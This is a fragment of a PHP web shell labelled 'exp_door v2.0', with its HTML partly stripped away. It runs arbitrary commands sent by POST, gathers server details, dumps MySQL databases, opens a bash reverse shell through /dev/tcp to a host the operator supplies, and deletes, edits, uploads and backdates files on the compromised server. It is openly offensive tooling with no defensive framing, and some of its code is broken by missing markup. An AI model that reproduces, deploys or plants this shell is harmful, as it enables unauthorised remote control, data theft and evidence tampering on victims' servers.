exp_door v2.0
';
echo 'id | ';
echo $a1("id");
echo 'uname | ' . $uname . '
';
echo 'tmp | ' . $temp_file . ' ' . substr(sprintf('%o', fileperms($temp_file)), -4) . '
';
echo 'php | ' . $php . '
';
echo 'server| ' . $_SERVER['SERVER_NAME'] . ' ' . $_SERVER["SERVER_ADDR"] . ' ' . $_SERVER['SERVER_SOFTWARE'] . '
';
echo 'date | ' . date("Y-m-d-H:i:s e P") . ' GMT' . '
';
echo 'HDD | ' . "Total: " . round($totalSpace, 2) . " " . $totalUnit . " ";
echo "Free: " . round($freeSpace, 2) . " " . $freeUnit . "(" . $freePer . "%)" . '
';
echo 'cwd | ' . $cwd . ' ' . "[" . numPerms($actpath) . "] " . printPerms($actpath) . '
';
echo '';
echo '';
$a1($_POST['cmd']);
echo '';
}
if (isset($_POST['info'])) {
echo phpinfo();
}
if (isset($_POST['down'])) {
echo '';
}
if (isset($_POST['fun'])) {
echo '';
$a1($fun);
echo '';
}
if (isset($_POST['DB'])) {
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$name = $_POST['name'];
$port = $_POST['port'];
$link = new mysqli($host, $user, $pass, $name, $port);
if ($link->connect_error) {
die("Database access is not available:" . $link->connect_error); exit(); } else { $b2('mysqldump --port=' . $port . ' --user=' . $user . ' --password=' . $pass . ' --host=' . $host . ' ' . $name . ' > file.sql'); echo 'Dump completed!'; } } if (isset($_POST['submit'])) { $base64 = $_POST['base64']; $encode = $aTwo($base64); echo '
' . "Encode base64: " . '
' . $encode; } if (isset($_POST['submit2'])) { $base64_d = $_POST['base64']; $decode = $bTwo($base64_d); echo '' . "Decode base64: " . '
' . htmlentities($decode); } if (isset($_POST['submit_u'])) { $url = $_POST['url']; $encode_u = urlencode($url); echo '' . "Encode url: " . '
' . $encode_u; } if (isset($_POST['submit_u2'])) { $url_d = $_POST['url']; $decode_u = urldecode($url_d); echo '' . "Decode url: " . '
' . htmlentities($decode_u); } if (isset($_POST['submit_hex'])) { $h = $_POST['hex']; $encode_hex = "0x" . bin2hex($h); echo '' . "Encode HEX: " . '
' . $encode_hex; } if (isset($_POST['submit_hex2'])) { $h2 = $_POST['hex']; $decode_hex = hex2bin(substr($h2, 2)); echo '' . "Decode HEX: " . '
' . htmlentities($decode_hex); } if (isset($_POST['reverse'])) { $back = explode("|", $_POST['host_']); $a1("bash -c 'bash -i &> /dev/tcp/$back[0]/$back[1] 0>&1'"); } $HTML2 = 'text
Close' . "The link was successfully deleted!" . '
', $modal); } else { echo str_replace("text", '' . "Error! The link was not deleted!" . '
', $modal); } } elseif (is_file($value)) { if (unlink($value)) { echo str_replace("text", '' . "The file was successfully deleted!" . '
', $modal); } else { echo str_replace("text", '' . "Error! The file was not deleted!" . '
', $modal); } } elseif (is_dir($value)) { if (removeDirectory($value)) { echo str_replace("text", '' . "Directory deleted!" . '
', $modal); } else { echo str_replace("text", '' . "Error! The directory was not deleted!" . '
', $modal); } } } } } if (isset($_POST['edit'])) { if (!empty($_POST['choose'])) { $val = $_POST['choose'][0]; if (is_readable($val)) { $formedit = " "; echo $formedit; } else { echo str_replace("text", '' . "Error! Can't open file!" . '
', $modal); } } } if (isset($_POST['edit_code'])) { $result = file_put_contents($_POST['correction'], $_POST['edit_code']); if ($result === FALSE) { echo str_replace("text", '' . "Error writing to file!" . '
', $modal); } else { echo str_replace("text", '' . "The file was successfully modified!" . '
', $modal); } } if (isset($_POST['view'])) { if (is_readable($_POST['view'])) { $doc = fopen($_POST['view'], "rt"); $contents = ''; while (!feof($doc)) $contents.= fread($doc, 4096); fclose($doc); if (filesize($_POST['view']) == 0) { echo str_replace("text", '' . "The file is empty!" . '
', $modal); } elseif ($contents) { echo '' . "Error! Can't open file!" . '
', $modal); } } if (isset($_POST['up']) && !empty($_POST['choose'])) { echo '' . "upload_max_filesize: " . ini_get("upload_max_filesize") . "
" . "post_max_size: " . ini_get("post_max_size") . '
';
echo "' . "The file was uploaded successfully!" . '
'; $newphrase = str_replace("text", $text, $modal); echo $newphrase; } } else { echo str_replace("text", '' . "Error! The file is not selected!" . '
', $modal); } if (isset($_POST['tou']) && !empty($_POST['choose'])) { echo '' . "Modification date changed!" . '
'; $newphrase = str_replace("text", $text, $modal); echo $newphrase; } else { echo str_replace("text", '' . "Error! You couldn't change the date!" . '
', $modal); } } if (isset($_POST['ren']) && !empty($_POST['choose'])) { echo '' . "Renaming completed!" . '
', $modal); } else { echo str_replace("text", '' . "Error! Not renamed!" . '
', $modal); } } echo '